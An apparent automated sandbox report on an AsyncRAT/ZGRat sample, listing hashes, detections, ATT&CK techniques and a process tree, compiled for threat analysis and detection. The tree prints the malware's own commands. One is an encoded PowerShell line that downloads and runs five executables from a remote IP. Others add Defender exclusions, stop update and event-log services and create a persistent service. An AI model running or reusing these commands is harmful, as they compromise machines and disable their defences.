asyncrat | 6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97

Analysis

max time kernel
29s
max time network
35s
platform
windows11-21h2_x64
resource
win11-20240221-en
resource tags

arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
submitted
01/04/2024, 19:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe
Size 2.7MB
Sample240401-yn9jasee38
SHA256 6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97
MD5 bcc93e415a05ea5bb4ac3985fe389866
SHA1 54afd186ad33eea4266fdcae4229e8fe48e4e8eb
SHA512 a5ec0307abaab0f9a5a5c28cb1bcae8847dd21b91c9f8a84e0e0294b2b039a5d68c22cb8a4f56f5bb6e344e26df5ab1416612c8c3cb1c7f8980ae137dda49016
SSDEEP 49152:wrtSAbjawsGcz8QfpyvcRjBZPohnKZV7+P:bOaw1uF4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat zgrat evasion persistence rat

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 4 IoCs

resource	yara_rule
behavioral2/files/0x0004000000029b53-61.dat	family_zgrat_v1
behavioral2/memory/744-72-0x0000000000650000-0x00000000006AA000-memory.dmp	family_zgrat_v1
behavioral2/files/0x0002000000029d61-79.dat	family_zgrat_v1
behavioral2/memory/2356-91-0x00000000000E0000-0x0000000000134000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x0004000000029b53-61.dat	family_asyncrat

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2692	powershell.exe

Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

.NET Reactor proctector 4 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x0004000000029b53-61.dat	net_reactor
behavioral2/memory/744-72-0x0000000000650000-0x00000000006AA000-memory.dmp	net_reactor
behavioral2/files/0x0002000000029d61-79.dat	net_reactor
behavioral2/memory/2356-91-0x00000000000E0000-0x0000000000134000-memory.dmp	net_reactor

Executes dropped EXE 2 IoCs

pid	Process
744	1.exe
4996	2.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1588 set thread context of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3656	sc.exe
4976	sc.exe
1944	sc.exe
4004	sc.exe
3816	sc.exe
1396	sc.exe
4988	sc.exe
4808	sc.exe
3632	sc.exe

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2780	3724	WerFault.exe	89
2352	1968	WerFault.exe	92
752	1968	WerFault.exe	92

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2692	powershell.exe
2692	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 1588 wrote to memory of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80
PID 1588 wrote to memory of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80
PID 1588 wrote to memory of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80
PID 1588 wrote to memory of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80
PID 1588 wrote to memory of 2348	1588	6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe	80
PID 2348 wrote to memory of 2692	2348	jsc.exe	81
PID 2348 wrote to memory of 2692	2348	jsc.exe	81
PID 2348 wrote to memory of 2692	2348	jsc.exe	81
PID 2692 wrote to memory of 744	2692	powershell.exe	83
PID 2692 wrote to memory of 744	2692	powershell.exe	83
PID 2692 wrote to memory of 744	2692	powershell.exe	83
PID 2692 wrote to memory of 4996	2692	powershell.exe	84
PID 2692 wrote to memory of 4996	2692	powershell.exe	84
PID 2692 wrote to memory of 4996	2692	powershell.exe	84
PID 2692 wrote to memory of 2356	2692	powershell.exe	85
PID 2692 wrote to memory of 2356	2692	powershell.exe	85
PID 2692 wrote to memory of 2356	2692	powershell.exe	85

C:\Users\Admin\AppData\Local\Temp\6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe
"C:\Users\Admin\AppData\Local\Temp\6ce6fd56b675cb8ffc6e5ecb11bb80640e24e58a09985f8a4f635ee9c3c2bf97.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1588
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
  C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAZABtACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAZQBnAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBqAHoAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABqAHUAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADUAMwAuADYAOQAvADEALgBlAHgAZQAnACwAIAA8ACMAdQBnAGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB2AHoAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBjAHQAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApACkAPAAjAGQAeQBwACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADUAMwAuADYAOQAvADIALgBlAHgAZQAnACwAIAA8ACMAaABjAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGMAbAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AHkAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAyAC4AZQB4AGUAJwApACkAPAAjAHYAcAB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADUAMwAuADYAOQAvADMALgBlAHgAZQAnACwAIAA8ACMAbQBnAHUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBxAGsAbQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBwAGcAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAzAC4AZQB4AGUAJwApACkAPAAjAHcAZQBlACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADUAMwAuADYAOQAvADQALgBlAHgAZQAnACwAIAA8ACMAcABoAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB0AGUAYgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBmAHEAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA0AC4AZQB4AGUAJwApACkAPAAjAHQAcwB6ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwA5ADEALgA5ADIALgAyADUAMwAuADYAOQAvADUALgBlAHgAZQAnACwAIAA8ACMAaAB6AGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwByAGgAZAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBqAGEAcQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA1AC4AZQB4AGUAJwApACkAPAAjAHQAbgB0ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGoAcgB1ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBkAHYAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwAxAC4AZQB4AGUAJwApADwAIwBwAHcAZQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBlAHAAcAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbgBzAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMgAuAGUAeABlACcAKQA8ACMAeAB3AG4AIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBsAGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AYgB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADMALgBlAHgAZQAnACkAPAAjAGkAZAB2ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAdgB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBlAGMAcwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwA0AC4AZQB4AGUAJwApADwAIwB6AGoAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB0AHkAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAawB4AGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANQAuAGUAeABlACcAKQA8ACMAawBqAHIAIwA+AA=="
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2692
  - - C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Executes dropped EXE
      PID:744
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      4⤵
      Executes dropped EXE
      PID:4996
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\bridgeserverDriver\AfhfmNtijsT.vbe"
        5⤵
        
        PID:2404
  - - C:\Users\Admin\AppData\Local\Temp\3.exe
      "C:\Users\Admin\AppData\Local\Temp\3.exe"
      4⤵
      PID:2356
  - - C:\Users\Admin\AppData\Local\Temp\4.exe
      "C:\Users\Admin\AppData\Local\Temp\4.exe"
      4⤵
      PID:2960
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        
        PID:1056
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:1156
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        
        PID:1916
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3816
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3632
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:4004
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:4808
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1944
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        
        PID:1296
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        
        PID:4460
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        
        PID:3796
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        
        PID:3440
    - - C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        5⤵
        
        PID:4752
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "Updater"
        5⤵
        Launches sc.exe
        
        PID:1396
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "Updater" binpath= "C:\ProgramData\dboiehbjhhyb\vutqevldbsxl.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:4988
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:4976
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "Updater"
        5⤵
        Launches sc.exe
        
        PID:3656
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\4.exe"
        5⤵
        
        PID:2892
      - C:\Windows\system32\choice.exe
        
        choice /C Y /N /D Y /T 3
        6⤵
        
        PID:3836
  - - C:\Users\Admin\AppData\Local\Temp\5.exe
      "C:\Users\Admin\AppData\Local\Temp\5.exe"
      4⤵
      PID:3724
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:1968
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 540
        6⤵
        Program crash
        
        PID:2352
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 536
        6⤵
        Program crash
        
        PID:752
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3724 -s 864
        5⤵
        Program crash
        
        PID:2780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3724 -ip 3724
1⤵
PID:4400

C:\ProgramData\dboiehbjhhyb\vutqevldbsxl.exe
C:\ProgramData\dboiehbjhhyb\vutqevldbsxl.exe
1⤵
PID:2336
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:2100

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
1⤵
PID:3316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1968 -ip 1968
1⤵
PID:5108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 1968 -ip 1968
1⤵
PID:4436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 e42c02fe602dd50994d40cbe83082884271b86d78a4fff121a6c849f32c94f01
MD5 46358df7ccc5dda75bbf8fc7534bbc1c
SHA1 f80da4d392e281d2e868d575309d065e52fc04cf
SHA512 a17a955b7844b846136e0251bd1ac6e487876898d6e3dec98e6bcb8d83938ad9366c4343e65874b33ababc1be971c8409028a1b7953367bf21fc3357506901f4
SSDEEP 384:6L3HucmS1NXfW7jcWNT+9/nNvjs2xMgnmgCBFx933Xb0iFq9V:EXmSnEjr01vj7xMg/Ct933Xb0fV
MD5 SHA1 SHA512 SSDEEP

Submit Download

1.exe

Path C:\Users\Admin\AppData\Local\Temp\1.exe
Size 334KB
SHA256 547c07702129ea5e0ae2fb48e841c74ce957a4fa3f1c3742e588fe84c494232b
MD5 dcddcc30b20e45b6c7df7f7ad6b4a20b
SHA1 a4ba98056c7ecf194487dc0cc18f502d8c483bdc
SHA512 3c143403a66478e396afe666dc9580acaf3ae6d42c3ab32cbc5d0639db50f8468ced12b018f1cb776646fbe09163f9a732014fc4cc6ea23823e9abf5b439b933
SSDEEP 6144:hhVXST5YkgLQ2bnPMcqenB4g4Rb4xSMD4jA1qq0T6:jV+YLs2LVqenWbqf1qqL
MD5 SHA1 SHA512 SSDEEP

Submit Download

2.exe

Path C:\Users\Admin\AppData\Local\Temp\2.exe
Size 3.3MB
SHA256 e98c4cfd56efe46b3de730a430ba2f7adcd30b0988d64f9c9f962383d4e44a68
MD5 ed5d5872da0c90cfa64cdbf0afe49ee1
SHA1 cc2c4eefffb205c1e32edffb29818e0dd8cd2781
SHA512 bf8d29066907220b27ea33fbd3881a448287ca785e0de7c59205804e1ab441a3ca23babd3241888e4651656c54ffcd31c1657eda56805cba57e10e4bd82cbb9d
SSDEEP 49152:zBzf3qbETi+zmZRY5eFbVg7AojI0/1Tq2kNLbCNcdwTS1sgRAb6vN11cjVG:Njqbexmn1Vg7t/1+xNLbCudRsg+6n1CG
MD5 SHA1 SHA512 SSDEEP

Submit Download

3.exe

Path C:\Users\Admin\AppData\Local\Temp\3.exe
Size 314KB
SHA256 a1f8bb5990775f277540eb4c7579695477445afd90262cb819567cc9b3042166
MD5 ad997dc4ee32ab469e45009f218175d0
SHA1 17ef145486c494ea9c727972c501471e720887f0
SHA512 727aceb3edd5dfbbbad84e1aef4beb3773313378bd4fa6cd77800d6cf578ba740a5ebc1f3740593071a26daa2cf91e49243fa4ba043d934c8bd936a1526c18d0
SSDEEP 3072:oiPK9mkbyBaKJyPATmiyAnY5o9BrFV0bIBVvBCj4EKK4h75AQ5ii:oCj2yBOiW5o972jEh75F5ii
MD5 SHA1 SHA512 SSDEEP

Submit Download

4.exe

Path C:\Users\Admin\AppData\Local\Temp\4.exe
Size 5.3MB
SHA256 768ea7c6f1285d70a63d32bbd3f3a0e9c530fdbd1c16e10672c42485e35bc077
MD5 fcce0a9aa496c81dceda922d4423f2ba
SHA1 5a19575e35004deddb90de07262467c34adba53a
SHA512 b63137f4c4dffee3c5222d27b18e74cffdd11cc216a2915d11153067fa605c4c7f15c5c4afe3fa64dc24b1c46b5d34a94aed61eb30928f8e9b32be980fbf46a8
SSDEEP 98304:XX2a7J2JcPj1735LBLQwovLvpMyH3CzFRmr4BgDF7L:XX2a70JWL5d0wo1MyXC3vOZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

5.exe

Path C:\Users\Admin\AppData\Local\Temp\5.exe
Size 386KB
SHA256 5d93c67ddde2e5fdc00a4e5777aa37d9ea4639227c633d044fb467b210640d28
MD5 cfd2733ba128f49a373042a1a6c3fe19
SHA1 5782fffc3d9e4d815fa0ec6315c5f237edfb9ae9
SHA512 be1a9fae4148cd6b567903f8fe707c1812d2782c8a718f81f6d30240c498f1aa5419f5fc22a318727a07e0e232c1538209743a97b9c01e5f4a679462ac2819d8
SSDEEP 12288:DHKzTnUs8oF7lWrf4p0fM5kzzLsK8Qll6V:DqzTUvEjCfMiHYMoV
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_dkpjer4w.vjp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dkpjer4w.vjp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

AfhfmNtijsT.vbe

Path C:\bridgeserverDriver\AfhfmNtijsT.vbe
Size 201B
SHA256 11c6639e44e45e02ac48f6921ea2803ed2ec2c923ee95beadaad766d347fbc2c
MD5 59a4977b7a331e728e54ce888a58ee7e
SHA1 b0c7a89e0a10774a98df1bca505045553b3ff373
SHA512 eb88b0f1bd907a829523a2a227e0f92348f993769ee4bcbebead9dd2c754c7548a33c4a6a1172f4bdce89110c4e68e91c0f09b04d1a76eccc8cecdecf91ea84c
MD5 SHA1 SHA512

Submit Download

memory/396-208-0x0000020A43600000-0x0000020A4362B000-memory.dmp

Download

memory/396-211-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/644-205-0x000001EDC4650000-0x000001EDC467B000-memory.dmp

Download

memory/644-195-0x000001EDC4650000-0x000001EDC467B000-memory.dmp

Download

memory/644-194-0x000001EDC43C0000-0x000001EDC43E4000-memory.dmp

Download

memory/644-199-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/700-202-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/700-198-0x000001CA04F60000-0x000001CA04F8B000-memory.dmp

Download

memory/700-214-0x000001CA04F60000-0x000001CA04F8B000-memory.dmp

Download

memory/728-215-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/728-213-0x000001CFFD750000-0x000001CFFD77B000-memory.dmp

Download

memory/744-197-0x00000000050B0000-0x00000000050C0000-memory.dmp

Download

memory/744-169-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/744-72-0x0000000000650000-0x00000000006AA000-memory.dmp

Download

memory/744-85-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/960-224-0x00000270E8700000-0x00000270E872B000-memory.dmp

Download

memory/960-225-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/992-232-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/992-230-0x0000023AD1F10000-0x0000023AD1F3B000-memory.dmp

Download

memory/996-210-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/996-207-0x0000025C7E7B0000-0x0000025C7E7DB000-memory.dmp

Download

memory/1056-126-0x000001B7DC770000-0x000001B7DC792000-memory.dmp

Download

memory/1056-148-0x00007FF99C940000-0x00007FF99D402000-memory.dmp

Download

memory/1056-121-0x000001B7C4290000-0x000001B7C42A0000-memory.dmp

Download

memory/1056-144-0x000001B7C4290000-0x000001B7C42A0000-memory.dmp

Download

memory/1056-120-0x00007FF99C940000-0x00007FF99D402000-memory.dmp

Download

memory/1056-124-0x000001B7C4290000-0x000001B7C42A0000-memory.dmp

Download

memory/1100-234-0x0000029484570000-0x000002948459B000-memory.dmp

Download

memory/1100-238-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/1188-236-0x000001D5F3DB0000-0x000001D5F3DDB000-memory.dmp

Download

memory/1188-240-0x00007FF97DE10000-0x00007FF97DE20000-memory.dmp

Download

memory/1204-242-0x0000029B45290000-0x0000029B452BB000-memory.dmp

Download

memory/1588-6-0x00007FF70A320000-0x00007FF70A633000-memory.dmp

Download

memory/1588-4-0x00007FF70A320000-0x00007FF70A633000-memory.dmp

Download

memory/1968-187-0x0000000003990000-0x0000000003D90000-memory.dmp

Download

memory/1968-142-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1968-175-0x0000000077600000-0x0000000077852000-memory.dmp

Download

memory/1968-172-0x0000000003990000-0x0000000003D90000-memory.dmp

Download

memory/1968-140-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/1968-170-0x0000000003990000-0x0000000003D90000-memory.dmp

Download

memory/1968-173-0x00007FF9BDD80000-0x00007FF9BDF89000-memory.dmp

Download

memory/1968-137-0x0000000000400000-0x000000000046D000-memory.dmp

Download

memory/2100-179-0x00007FF99C940000-0x00007FF99D402000-memory.dmp

Download

memory/2100-181-0x0000017BCD830000-0x0000017BCD840000-memory.dmp

Download

memory/2100-180-0x0000017BCD830000-0x0000017BCD840000-memory.dmp

Download

memory/2348-7-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2348-5-0x0000000000F30000-0x0000000000F3A000-memory.dmp

Download

memory/2348-9-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2356-171-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2356-91-0x00000000000E0000-0x0000000000134000-memory.dmp

Download

memory/2356-110-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2356-201-0x0000000004A10000-0x0000000004A20000-memory.dmp

Download

memory/2356-113-0x0000000004A10000-0x0000000004A20000-memory.dmp

Download

memory/2356-111-0x0000000004B20000-0x0000000004BBC000-memory.dmp

Download

memory/2692-48-0x0000000007BD0000-0x0000000007BE5000-memory.dmp

Download

memory/2692-76-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2692-10-0x00000000031C0000-0x00000000031F6000-memory.dmp

Download

memory/2692-11-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2692-12-0x0000000003170000-0x0000000003180000-memory.dmp

Download

memory/2692-13-0x0000000005990000-0x0000000005FBA000-memory.dmp

Download

memory/2692-14-0x0000000005FC0000-0x0000000005FE2000-memory.dmp

Download

memory/2692-15-0x0000000006060000-0x00000000060C6000-memory.dmp

Download

memory/2692-16-0x0000000005FF0000-0x0000000006056000-memory.dmp

Download

memory/2692-25-0x0000000006100000-0x0000000006457000-memory.dmp

Download

memory/2692-26-0x0000000006630000-0x000000000664E000-memory.dmp

Download

memory/2692-118-0x0000000074D80000-0x0000000075531000-memory.dmp

Download

memory/2692-27-0x0000000006670000-0x00000000066BC000-memory.dmp

Download

memory/2692-112-0x0000000003170000-0x0000000003180000-memory.dmp

Download

memory/2692-28-0x0000000003170000-0x0000000003180000-memory.dmp

Download

memory/2692-46-0x0000000007B90000-0x0000000007BA1000-memory.dmp

Download

memory/2692-29-0x000000007FC30000-0x000000007FC40000-memory.dmp

Download

memory/2692-52-0x0000000008BF0000-0x0000000009196000-memory.dmp

Download

memory/2692-30-0x00000000075F0000-0x0000000007624000-memory.dmp

Download

memory/2692-31-0x0000000071A50000-0x0000000071A9C000-memory.dmp

Download

memory/2692-40-0x0000000006C20000-0x0000000006C3E000-memory.dmp

Download

memory/2692-51-0x0000000007D20000-0x0000000007D42000-memory.dmp

Download

memory/2692-41-0x0000000007830000-0x00000000078D4000-memory.dmp

Download

memory/2692-42-0x0000000007FC0000-0x000000000863A000-memory.dmp

Download

